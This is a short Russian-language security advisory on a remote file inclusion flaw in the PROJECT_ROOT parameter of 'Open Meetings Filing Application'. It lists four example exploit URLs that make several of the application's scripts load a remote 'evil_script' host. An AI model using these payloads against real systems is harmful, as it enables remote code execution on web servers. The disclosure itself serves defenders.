Программа: Open Meetings Filing Application

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.
Уязвимость существует из-за недостаточной обработки входных данных в параметре «PROJECT_ROOT» множественными сценариями. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера. 

Пример: 

http://www.hedef.com/[script_path]/editmeetings/session.php?PROJECT_ROOT=http://evil_script?
http://www.hedef.com/[script_path]/email/session.php?PROJECT_ROOT=http://evil_script?
http://www.hedef.com/[script_path]/entityproperties/session.php?PROJECT_ROOT=http://evil_script?
http://www.hedef.com/[script_path]/inc/mail.php?PROJECT_ROOT=http://evil_script?



Оставить мнение